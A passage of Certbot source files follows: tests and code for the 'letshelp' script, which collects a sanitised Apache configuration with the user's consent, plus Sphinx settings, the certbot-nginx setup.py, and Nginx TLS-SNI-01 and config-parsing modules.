                with mock.patch(_MODULE_NAME + ".make_and_verify_selection"):
                    testdir_basename = "test"
                    os.mkdir(os.path.join(tempdir_path, testdir_basename))

                    letshelp_le_apache.main()

                    tar = tarfile.open(os.path.join(
                        tempdir_path, "config.tar.gz"))

                    tempdir = tar.next()
                    self.assertTrue(tempdir.isdir())
                    self.assertEqual(tempdir.name, ".")

                    testdir = tar.next()
                    self.assertTrue(testdir.isdir())
                    self.assertEqual(os.path.basename(testdir.name),
                                     testdir_basename)

                    self.assertEqual(tar.next(), None)


def _create_mock_parser(argv):
    parser = argparse.ArgumentParser()
    mock_parser = mock.MagicMock()
    mock_parser.add_argument = parser.add_argument
    mock_parser.parse_args = functools.partial(parser.parse_args, argv)

    return mock_parser


def _get_args():
    args = argparse.Namespace()
    args.apache_ctl = "apache_ctl"
    args.config_file = "config_file"
    args.server_root = "server_root"

    return args


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






#!/usr/bin/env python
"""Certbot Apache configuration submission script"""

from __future__ import print_function

import argparse
import atexit
import contextlib
import os
import re
import shutil
import subprocess
import sys
import tarfile
import tempfile
import textwrap


_DESCRIPTION = """
Let's Help is a simple script you can run to help out the Certbot
project. Since Certbot will support automatically configuring HTTPS on
many servers, we want to test this functionality on as many configurations as
possible. This script will create a sanitized copy of your Apache
configuration, notifying you of the files that have been selected. If (and only
if) you approve this selection, these files will be sent to the Certbot
developers.

"""


_NO_APACHECTL = """
Unable to find `apachectl` which is required for this script to work. If it is
installed, please run this script again with the --apache-ctl command line
argument and the path to the binary.

"""


# Keywords likely to be found in filenames of sensitive files
_SENSITIVE_FILENAME_REGEX = re.compile(r"^(?!.*proxy_fdpass).*pass.*$|private|"
                                       r"secret|^(?!.*certbot).*cert.*$|crt|"
                                       r"key|rsa|dsa|pw|\.pem|\.der|\.p12|"
                                       r"\.pfx|\.p7b")


def make_and_verify_selection(server_root, temp_dir):
    """Copies server_root to temp_dir and verifies selection with the user

    :param str server_root: Path to the Apache server root
    :param str temp_dir: Path to the temporary directory to copy files to

    """
    copied_files, copied_dirs = copy_config(server_root, temp_dir)

    print(textwrap.fill("A secure copy of the files that have been selected "
                        "for submission has been created under {0}. All "
                        "comments have been removed and the files are only "
                        "accessible by the current user. A list of the files "
                        "that have been included is shown below. Please make "
                        "sure that this selection does not contain private "
                        "keys, passwords, or any other sensitive "
                        "information.".format(temp_dir)))
    print("\nFiles:")
    for copied_file in copied_files:
        print(copied_file)
    print("Directories (including all contained files):")
    for copied_dir in copied_dirs:
        print(copied_dir)

    sys.stdout.write("\nIs it safe to submit these files? ")
    while True:
        ans = raw_input("(Y)es/(N)o: ").lower()
        if ans.startswith("y"):
            return
        elif ans.startswith("n"):
            sys.exit("Your files were not submitted")


def copy_config(server_root, temp_dir):
    """Safely copies server_root to temp_dir and returns copied files

    :param str server_root: Absolute path to the Apache server root
    :param str temp_dir: Path to the temporary directory to copy files to

    :returns: List of copied files and a list of leaf directories where
        all contained files were copied
    :rtype: `tuple` of `list` of `str`

    """
    copied_files, copied_dirs = [], []
    dir_len = len(os.path.dirname(server_root))

    for config_path, config_dirs, config_files in os.walk(server_root):
        temp_path = os.path.join(temp_dir, config_path[dir_len + 1:])
        os.mkdir(temp_path)

        copied_all = True
        copied_files_in_current_dir = []
        for config_file in config_files:
            config_file_path = os.path.join(config_path, config_file)
            temp_file_path = os.path.join(temp_path, config_file)
            if os.path.islink(config_file_path):
                os.symlink(os.readlink(config_file_path), temp_file_path)
            elif safe_config_file(config_file_path):
                copy_file_without_comments(config_file_path, temp_file_path)
                copied_files_in_current_dir.append(config_file_path)
            else:
                copied_all = False

        # If copied all files in leaf directory
        if copied_all and not config_dirs:
            copied_dirs.append(config_path)
        else:
            copied_files += copied_files_in_current_dir

    return copied_files, copied_dirs


def copy_file_without_comments(source, destination):
    """Copies source to destination, removing comments

    :param str source: Path to the file to be copied
    :param str destination: Path where source should be copied to

    """
    with open(source, "r") as infile:
        with open(destination, "w") as outfile:
            for line in infile:
                if not (line.isspace() or line.lstrip().startswith("#")):
                    outfile.write(line)


def safe_config_file(config_file):
    """Returns True if config_file can be safely copied

    :param str config_file: Path to an Apache configuration file

    :returns: True if config_file can be safely copied
    :rtype: bool

    """
    config_file_lower = config_file.lower()
    if _SENSITIVE_FILENAME_REGEX.search(config_file_lower):
        return False

    proc = subprocess.Popen(["file", config_file],
                            stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    file_output, _ = proc.communicate()

    if "ASCII" in file_output:
        possible_password_file = empty_or_all_comments = True
        with open(config_file) as config_fd:
            for line in config_fd:
                if not (line.isspace() or line.lstrip().startswith("#")):
                    empty_or_all_comments = False
                    if line.startswith("-----BEGIN"):
                        return False
                    elif ":" not in line:
                        possible_password_file = False
        # If file isn't empty or commented out and could be a password file,
        # don't include it in selection. It is safe to include the file if
        # it consists solely of comments because comments are removed before
        # submission.
        return empty_or_all_comments or not possible_password_file

    return False


def setup_tempdir(args):
    """Creates a temporary directory and necessary files for config

    :param argparse.Namespace args: Parsed command line arguments

    :returns: Path to temporary directory
    :rtype: str

    """
    tempdir = tempfile.mkdtemp()

    with open(os.path.join(tempdir, "config_file"), "w") as config_fd:
        config_fd.write(args.config_file + "\n")

    proc = subprocess.Popen([args.apache_ctl, "-v"],
                            stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(os.path.join(tempdir, "version"), "w") as version_fd:
        version_fd.write(proc.communicate()[0])

    proc = subprocess.Popen([args.apache_ctl, "-d", args.server_root, "-f",
                             args.config_file, "-M"],
                            stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(os.path.join(tempdir, "modules"), "w") as modules_fd:
        modules_fd.write(proc.communicate()[0])

    proc = subprocess.Popen([args.apache_ctl, "-d", args.server_root, "-f",
                             args.config_file, "-t", "-D", "DUMP_VHOSTS"],
                            stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    with open(os.path.join(tempdir, "vhosts"), "w") as vhosts_fd:
        vhosts_fd.write(proc.communicate()[0])

    return tempdir


def verify_config(args):
    """Verifies server_root and config_file specify a valid config

    :param argparse.Namespace args: Parsed command line arguments

    """
    with open(os.devnull, "w") as devnull:
        try:
            subprocess.check_call([args.apache_ctl, "-d", args.server_root,
                                   "-f", args.config_file, "-t"],
                                  stdout=devnull, stderr=subprocess.STDOUT)
        except OSError:
            sys.exit(_NO_APACHECTL)
        except subprocess.CalledProcessError:
            sys.exit("Syntax check from apachectl failed")


def locate_config(apache_ctl):
    """Uses the apachectl binary to find configuration files

    :param str apache_ctl: Path to `apachectl` binary


    :returns: Path to Apache server root and main configuration file
    :rtype: `tuple` of `str`

    """
    try:
        proc = subprocess.Popen([apache_ctl, "-V"],
                                stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        output, _ = proc.communicate()
    except OSError:
        sys.exit(_NO_APACHECTL)

    server_root = config_file = ""
    for line in output.splitlines():
        # Relevant output lines are of the form: -D DIRECTIVE="VALUE"
        if "HTTPD_ROOT" in line:
            server_root = line[line.find('"') + 1:-1]
        elif "SERVER_CONFIG_FILE" in line:
            config_file = line[line.find('"') + 1:-1]

    if not (server_root and config_file):
        sys.exit("Unable to locate Apache configuration. Please run this "
                 "script again and specify --server-root and --config-file")

    return server_root, config_file


def get_args():
    """Parses command line arguments

    :returns: Parsed command line options
    :rtype: argparse.Namespace

    """
    parser = argparse.ArgumentParser(description=_DESCRIPTION)
    parser.add_argument("-c", "--apache-ctl", default="apachectl",
                        help="path to the `apachectl` binary")
    parser.add_argument("-d", "--server-root",
                        help=("location of the root directory of your Apache "
                              "configuration"))
    parser.add_argument("-f", "--config-file",
                        help=("location of your main Apache configuration "
                              "file relative to the server root"))
    args = parser.parse_args()

    # args.server_root XOR args.config_file
    if bool(args.server_root) != bool(args.config_file):
        sys.exit("If either --server-root and --config-file are specified, "
                 "they both must be included")
    elif args.server_root and args.config_file:
        args.server_root = os.path.abspath(args.server_root)
        args.config_file = os.path.abspath(args.config_file)

        if args.config_file.startswith(args.server_root):
            args.config_file = args.config_file[len(args.server_root) + 1:]
        else:
            sys.exit("This script expects the Apache configuration file to be "
                     "inside the server root")

    return args


def main():
    """Main script execution"""
    args = get_args()
    if args.server_root is None:
        args.server_root, args.config_file = locate_config(args.apache_ctl)

    verify_config(args)
    tempdir = setup_tempdir(args)
    atexit.register(lambda: shutil.rmtree(tempdir))
    make_and_verify_selection(args.server_root, tempdir)

    tarpath = os.path.join(tempdir, "config.tar.gz")
    # contextlib.closing used for py26 support
    with contextlib.closing(tarfile.open(tarpath, mode="w:gz")) as tar:
        tar.add(tempdir, arcname=".")

    # TODO: Submit tarpath


if __name__ == "__main__":
    main()  # pragma: no cover






# -*- coding: utf-8 -*-
#
# letshelp-certbot documentation build configuration file, created by
# sphinx-quickstart on Sun Oct 18 13:40:19 2015.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import sys
import os
import shlex


here = os.path.abspath(os.path.dirname(__file__))

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.insert(0, os.path.abspath(os.path.join(here, '..')))

# -- General configuration ------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
    'sphinx.ext.autodoc',
    'sphinx.ext.intersphinx',
    'sphinx.ext.todo',
    'sphinx.ext.coverage',
    'sphinx.ext.viewcode',
]

autodoc_member_order = 'bysource'
autodoc_default_flags = ['show-inheritance', 'private-members']

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'

# The encoding of source files.
#source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u'letshelp-certbot'
copyright = u'2014-2015, Let\'s Encrypt Project'
author = u'Certbot Project'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = '0'
# The full version, including alpha/beta/rc tags.
release = '0'

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = 'en'

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The reST default role (used for this markup: `text`) to use for all
# documents.
default_role = 'py:obj'

# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []

# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False

# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = True


# -- Options for HTML output ----------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.

# http://docs.readthedocs.org/en/latest/theme.html#how-do-i-use-this-locally-and-on-read-the-docs
# on_rtd is whether we are on readthedocs.org
on_rtd = os.environ.get('READTHEDOCS', None) == 'True'
if not on_rtd:  # only import and set the theme if we're building docs locally
    import sphinx_rtd_theme
    html_theme = 'sphinx_rtd_theme'
    html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
# otherwise, readthedocs.org uses their theme by default, so no need to specify it

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
#html_domain_indices = True

# If false, no index is generated.
#html_use_index = True

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None

# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
#   'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
#   'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
#html_search_language = 'en'

# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
#html_search_options = {'type': 'default'}

# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#html_search_scorer = 'scorer.js'

# Output file base name for HTML help builder.
htmlhelp_basename = 'letshelp-certbotdoc'

# -- Options for LaTeX output ---------------------------------------------

latex_elements = {
    # The paper size ('letterpaper' or 'a4paper').
    #'papersize': 'letterpaper',

    # The font size ('10pt', '11pt' or '12pt').
    #'pointsize': '10pt',

    # Additional stuff for the LaTeX preamble.
    #'preamble': '',

    # Latex figure (float) alignment
    #'figure_align': 'htbp',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
#  author, documentclass [howto, manual, or own class]).
latex_documents = [
    (master_doc, 'letshelp-certbot.tex', u'letshelp-certbot Documentation',
     u'Certbot Project', 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# If true, show page references after internal links.
#latex_show_pagerefs = False

# If true, show URL addresses after external links.
#latex_show_urls = False

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
#latex_domain_indices = True


# -- Options for manual page output ---------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    (master_doc, 'letshelp-certbot', u'letshelp-certbot Documentation',
     [author], 1)
]

# If true, show URL addresses after external links.
#man_show_urls = False


# -- Options for Texinfo output -------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
    (master_doc, 'letshelp-certbot', u'letshelp-certbot Documentation',
     author, 'letshelp-certbot', 'One line description of project.',
     'Miscellaneous'),
]

# Documents to append as an appendix to all manuals.
#texinfo_appendices = []

# If false, no module index is generated.
#texinfo_domain_indices = True

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'

# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False


intersphinx_mapping = {
    'python': ('https://docs.python.org/', None),
    'acme': ('https://acme-python.readthedocs.org/en/latest/', None),
    'certbot': ('https://certbot.eff.org/docs/', None),
}






import sys

from setuptools import setup
from setuptools import find_packages


version = '0.9.0.dev0'

# Please update tox.ini when modifying dependency version requirements
install_requires = [
    'acme=={0}'.format(version),
    'certbot=={0}'.format(version),
    'PyOpenSSL',
    'pyparsing>=1.5.5',  # Python3 support; perhaps unnecessary?
    # For pkg_resources. >=1.0 so pip resolves it to a version cryptography
    # will tolerate; see #2599:
    'setuptools>=1.0',
    'zope.interface',
]

if sys.version_info < (2, 7):
    install_requires.append('mock<1.1.0')
else:
    install_requires.append('mock')

docs_extras = [
    'Sphinx>=1.0',  # autodoc_member_order = 'bysource', autodoc_default_flags
    'sphinx_rtd_theme',
]

setup(
    name='certbot-nginx',
    version=version,
    description="Nginx plugin for Certbot",
    url='https://github.com/letsencrypt/letsencrypt',
    author="Certbot Project",
    author_email='client-dev@letsencrypt.org',
    license='Apache License 2.0',
    classifiers=[
        'Development Status :: 3 - Alpha',
        'Environment :: Plugins',
        'Intended Audience :: System Administrators',
        'License :: OSI Approved :: Apache Software License',
        'Operating System :: POSIX :: Linux',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Topic :: Internet :: WWW/HTTP',
        'Topic :: Security',
        'Topic :: System :: Installation/Setup',
        'Topic :: System :: Networking',
        'Topic :: System :: Systems Administration',
        'Topic :: Utilities',
    ],

    packages=find_packages(),
    include_package_data=True,
    install_requires=install_requires,
    extras_require={
        'docs': docs_extras,
    },
    entry_points={
        'certbot.plugins': [
            'nginx = certbot_nginx.configurator:NginxConfigurator',
        ],
    },
    test_suite='certbot_nginx',
)






"""A class that performs TLS-SNI-01 challenges for Nginx"""

import itertools
import logging
import os

from certbot import errors
from certbot.plugins import common

from certbot_nginx import obj
from certbot_nginx import nginxparser


logger = logging.getLogger(__name__)


class NginxTlsSni01(common.TLSSNI01):
    """TLS-SNI-01 authenticator for Nginx

    :ivar configurator: NginxConfigurator object
    :type configurator: :class:`~nginx.configurator.NginxConfigurator`

    :ivar list achalls: Annotated
        class:`~certbot.achallenges.KeyAuthorizationAnnotatedChallenge`
        challenges

    :param list indices: Meant to hold indices of challenges in a
        larger array. NginxTlsSni01 is capable of solving many challenges
        at once which causes an indexing issue within NginxConfigurator
        who must return all responses in order.  Imagine NginxConfigurator
        maintaining state about where all of the http-01 Challenges,
        TLS-SNI-01 Challenges belong in the response array.  This is an
        optional utility.

    :param str challenge_conf: location of the challenge config file

    """

    def perform(self):
        """Perform a challenge on Nginx.

        :returns: list of :class:`certbot.acme.challenges.TLSSNI01Response`
        :rtype: list

        """
        if not self.achalls:
            return []

        addresses = []
        default_addr = "{0} default_server ssl".format(
            self.configurator.config.tls_sni_01_port)

        for achall in self.achalls:
            vhost = self.configurator.choose_vhost(achall.domain)
            if vhost is None:
                logger.error(
                    "No nginx vhost exists with server_name matching: %s. "
                    "Please specify server_names in the Nginx config.",
                    achall.domain)
                return None

            for addr in vhost.addrs:
                if addr.default:
                    addresses.append([obj.Addr.fromstring(default_addr)])
                    break
            else:
                addresses.append(list(vhost.addrs))

        # Create challenge certs
        responses = [self._setup_challenge_cert(x) for x in self.achalls]

        # Set up the configuration
        self._mod_config(addresses)

        # Save reversible changes
        self.configurator.save("SNI Challenge", True)

        return responses

    def _mod_config(self, ll_addrs):
        """Modifies Nginx config to include challenge server blocks.

        :param list ll_addrs: list of lists of
            :class:`certbot_nginx.obj.Addr` to apply

        :raises .MisconfigurationError:
            Unable to find a suitable HTTP block in which to include
            authenticator hosts.

        """
        # Add the 'include' statement for the challenges if it doesn't exist
        # already in the main config
        included = False
        include_directive = ['\n', 'include', ' ', self.challenge_conf]
        root = self.configurator.parser.loc["root"]

        bucket_directive = ['\n', 'server_names_hash_bucket_size', ' ', '128']

        main = self.configurator.parser.parsed[root]
        for key, body in main:
            if key == ['http']:
                found_bucket = False
                for k, _ in body:
                    if k == bucket_directive[0]:
                        found_bucket = True
                if not found_bucket:
                    body.insert(0, bucket_directive)
                if include_directive not in body:
                    body.insert(0, include_directive)
                included = True
                break
        if not included:
            raise errors.MisconfigurationError(
                'LetsEncrypt could not find an HTTP block to include '
                'TLS-SNI-01 challenges in %s.' % root)

        config = [self._make_server_block(pair[0], pair[1])
                  for pair in itertools.izip(self.achalls, ll_addrs)]
        config = nginxparser.UnspacedList(config)

        self.configurator.reverter.register_file_creation(
            True, self.challenge_conf)

        with open(self.challenge_conf, "w") as new_conf:
            nginxparser.dump(config, new_conf)

    def _make_server_block(self, achall, addrs):
        """Creates a server block for a challenge.

        :param achall: Annotated TLS-SNI-01 challenge
        :type achall:
            :class:`certbot.achallenges.KeyAuthorizationAnnotatedChallenge`

        :param list addrs: addresses of challenged domain
            :class:`list` of type :class:`~nginx.obj.Addr`

        :returns: server block for the challenge host
        :rtype: list

        """
        document_root = os.path.join(
            self.configurator.config.work_dir, "tls_sni_01_page")

        block = [['listen', ' ', str(addr)] for addr in addrs]

        block.extend([['server_name', ' ',
                       achall.response(achall.account_key).z_domain],
                      # access and error logs necessary for
                      # integration testing (non-root)
                      ['access_log', ' ', os.path.join(
                          self.configurator.config.work_dir, 'access.log')],
                      ['error_log', ' ', os.path.join(
                          self.configurator.config.work_dir, 'error.log')],
                      ['ssl_certificate', ' ', self.get_cert_path(achall)],
                      ['ssl_certificate_key', ' ', self.get_key_path(achall)],
                      [['location', ' ', '/'], [['root', ' ', document_root]]]] +
                     self.configurator.parser.loc["ssl_options"])

        return [['server'], block]






"""NginxParser is a member object of the NginxConfigurator class."""
import copy
import glob
import logging
import os
import pyparsing
import re

from certbot import errors

from certbot_nginx import obj
from certbot_nginx import nginxparser


logger = logging.getLogger(__name__)


class NginxParser(object):
    """Class handles the fine details of parsing the Nginx Configuration.

    :ivar str root: Normalized absolute path to the server root
        directory. Without trailing slash.
    :ivar dict parsed: Mapping of file paths to parsed trees

    """

    def __init__(self, root, ssl_options):
        self.parsed = {}
        self.root = os.path.abspath(root)
        self.loc = self._set_locations(ssl_options)

        # Parse nginx.conf and included files.
        # TODO: Check sites-available/ as well. For now, the configurator does
        # not enable sites from there.
        self.load()

    def load(self):
        """Loads Nginx files into a parsed tree.

        """
        self.parsed = {}
        self._parse_recursively(self.loc["root"])

    def _parse_recursively(self, filepath):
        """Parses nginx config files recursively by looking at 'include'
        directives inside 'http' and 'server' blocks. Note that this only
        reads Nginx files that potentially declare a virtual host.

        :param str filepath: The path to the files to parse, as a glob

        """
        filepath = self.abs_path(filepath)
        trees = self._parse_files(filepath)
        for tree in trees:
            for entry in tree:
                if _is_include_directive(entry):
                    # Parse the top-level included file
                    self._parse_recursively(entry[1])
                elif entry[0] == ['http'] or entry[0] == ['server']:
                    # Look for includes in the top-level 'http'/'server' context
                    for subentry in entry[1]:
                        if _is_include_directive(subentry):
                            self._parse_recursively(subentry[1])
                        elif entry[0] == ['http'] and subentry[0] == ['server']:
                            # Look for includes in a 'server' context within
                            # an 'http' context
                            for server_entry in subentry[1]:
                                if _is_include_directive(server_entry):
                                    self._parse_recursively(server_entry[1])

    def abs_path(self, path):
        """Converts a relative path to an absolute path relative to the root.
        Does nothing for paths that are already absolute.

        :param str path: The path
        :returns: The absolute path
        :rtype: str

        """
        if not os.path.isabs(path):
            return os.path.join(self.root, path)
        else:
            return path

    def get_vhosts(self):
        # pylint: disable=cell-var-from-loop
        """Gets list of all 'virtual hosts' found in Nginx configuration.
        Technically this is a misnomer because Nginx does not have virtual
        hosts, it has 'server blocks'.

        :returns: List of :class:`~certbot_nginx.obj.VirtualHost`
            objects found in configuration
        :rtype: list

        """
        enabled = True  # We only look at enabled vhosts for now
        vhosts = []
        servers = {}

        for filename in self.parsed:
            tree = self.parsed[filename]
            servers[filename] = []
            srv = servers[filename]  # workaround undefined loop var in lambdas

            # Find all the server blocks
            _do_for_subarray(tree, lambda x: x[0] == ['server'],
                             lambda x: srv.append(x[1]))

            # Find 'include' statements in server blocks and append their trees
            for i, server in enumerate(servers[filename]):
                new_server = self._get_included_directives(server)
                servers[filename][i] = new_server

        for filename in servers:
            for server in servers[filename]:
                # Parse the server block into a VirtualHost object

                parsed_server = parse_server(server)
                vhost = obj.VirtualHost(filename,
                                        parsed_server['addrs'],
                                        parsed_server['ssl'],
                                        enabled,
                                        parsed_server['names'],
                                        server)
                vhosts.append(vhost)

        return vhosts

    def _get_included_directives(self, block):
        """Returns array with the "include" directives expanded out by
        concatenating the contents of the included file to the block.

        :param list block:
        :rtype: list

        """
        result = copy.deepcopy(block)  # Copy the list to keep self.parsed idempotent
        for directive in block:
            if _is_include_directive(directive):
                included_files = glob.glob(
                    self.abs_path(directive[1]))
                for incl in included_files:
                    try:
                        result.extend(self.parsed[incl])
                    except KeyError:
                        pass
        return result

    def _parse_files(self, filepath, override=False):
        """Parse files from a glob

        :param str filepath: Nginx config file path
        :param bool override: Whether to parse a file that has been parsed
        :returns: list of parsed tree structures
        :rtype: list

        """
        files = glob.glob(filepath) # nginx on unix calls glob(3) for this
                                    # XXX Windows nginx uses FindFirstFile, and
                                    # should have a narrower call here
        trees = []
        for item in files:
            if item in self.parsed and not override:
                continue
            try:
                with open(item) as _file:
                    parsed = nginxparser.load(_file)
                    self.parsed[item] = parsed
                    trees.append(parsed)
            except IOError:
                logger.warning("Could not open file: %s", item)
            except pyparsing.ParseException:
                logger.debug("Could not parse file: %s", item)
        return trees

    def _parse_ssl_options(self, ssl_options):
        if ssl_options is not None:
            try:
                with open(ssl_options) as _file:
                    return nginxparser.load(_file).spaced
            except IOError:
                logger.warn("Missing NGINX TLS options file: %s", ssl_options)
            except pyparsing.ParseBaseException:
                logger.debug("Could not parse file: %s", ssl_options)
        return []

    def _set_locations(self, ssl_options):
        """Set default location for directives.

        Locations are given as file_paths
        .. todo:: Make sure that files are included

        """
        root = self._find_config_root()
        default = root

        nginx_temp = os.path.join(self.root, "nginx_ports.conf")
        if os.path.isfile(nginx_temp):
            listen = nginx_temp
            name = nginx_temp
        else:
            listen = default
            name = default

        return {"root": root, "default": default, "listen": listen,
                "name": name, "ssl_options": self._parse_ssl_options(ssl_options)}

    def _find_config_root(self):
        """Find the Nginx Configuration Root file."""
        location = ['nginx.conf']

        for name in location:
            if os.path.isfile(os.path.join(self.root, name)):
                return os.path.join(self.root, name)

        raise errors.NoInstallationError(
            "Could not find configuration root")

    def filedump(self, ext='tmp', lazy=True):
        """Dumps parsed configurations into files.

        :param str ext: The file extension to use for the dumped files. If
            empty, this overrides the existing conf files.
        :param bool lazy: Only write files that have been modified

        """
        # Best-effort atomicity is enforced above us by reverter.py
        for filename in self.parsed:
            tree = self.parsed[filename]
            if ext:
                filename = filename + os.path.extsep + ext
            try:
                if lazy and not tree.is_dirty():
                    continue
                out = nginxparser.dumps(tree)
                logger.debug('Writing nginx conf tree to %s:\n%s', filename, out)
                with open(filename, 'w') as _file:
                    _file.write(out)

            except IOError:
                logger.error("Could not open file for writing: %s", filename)

    def _has_server_names(self, entry, names):
        """Checks if a server block has the given set of server_names. This
        is the primary way of identifying server blocks in the configurator.
        Returns false if 'entry' doesn't look like a server block at all.

        ..todo :: Doesn't match server blocks whose server_name directives are
        split across multiple conf files.

        :param list entry: The block to search
        :param set names: The names to match
        :rtype: bool

        """
        if len(names) == 0:
            # Nothing to identify blocks with
            return False

        if not isinstance(entry, list):
            # Can't be a server block
            return False

        new_entry = self._get_included_directives(entry)
        server_names = set()
        for item in new_entry:
            if not isinstance(item, list):
                # Can't be a server block
                return False

            if len(item) > 0 and item[0] == 'server_name':
                server_names.update(_get_servernames(item[1]))

        return server_names == names

    def add_server_directives(self, filename, names, directives,
                              replace):
        """Add or replace directives in the first server block with names.

        ..note :: If replace is True, this raises a misconfiguration error
        if the directive does not already exist.
        ..note :: If replace is False nothing gets added if an identical
        block exists already.

        ..todo :: Doesn't match server blocks whose server_name directives are
            split across multiple conf files.

        :param str filename: The absolute filename of the config file
        :param set names: The server_name to match
        :param list directives: The directives to add
        :param bool replace: Whether to only replace existing directives

        """
        try:
            _do_for_subarray(self.parsed[filename],
                             lambda x: self._has_server_names(x, names),
                             lambda x: _add_directives(x, directives, replace))
        except errors.MisconfigurationError as err:
            raise errors.MisconfigurationError("Problem in %s: %s" % (filename, err.message))

    def add_http_directives(self, filename, directives):
        """Adds directives to the first encountered HTTP block in filename.

        We insert new directives at the top of the block to work around
        https://trac.nginx.org/nginx/ticket/810: If the first server block
        doesn't enable OCSP stapling, stapling is broken for all blocks.

        :param str filename: The absolute filename of the config file
        :param list directives: The directives to add

        """
        _do_for_subarray(self.parsed[filename],
                         lambda x: x[0] == ['http'],
                         lambda x: x[1].insert(0, directives))

    def get_all_certs_keys(self):
        """Gets all certs and keys in the nginx config.

        :returns: list of tuples with form [(cert, key, path)]
            cert - str path to certificate file
            key - str path to associated key file
            path - File path to configuration file.
        :rtype: set

        """
        c_k = set()
        vhosts = self.get_vhosts()
        for vhost in vhosts:
            tup = [None, None, vhost.filep]
            if vhost.ssl:
                for directive in vhost.raw:
                    # A directive can be an empty list to preserve whitespace
                    if not directive:
                        continue
                    if directive[0] == 'ssl_certificate':
                        tup[0] = directive[1]
                    elif directive[0] == 'ssl_certificate_key':
                        tup[1] = directive[1]
            if tup[0] is not None and tup[1] is not None:
                c_k.add(tuple(tup))
        return c_k


def _do_for_subarray(entry, condition, func):
    """Executes a function for a subarray of a nested array if it matches
    the given condition.

    :param list entry: The list to iterate over
    :param function condition: Returns true iff func should be executed on item
    :param function func: The function to call for each matching item

    """
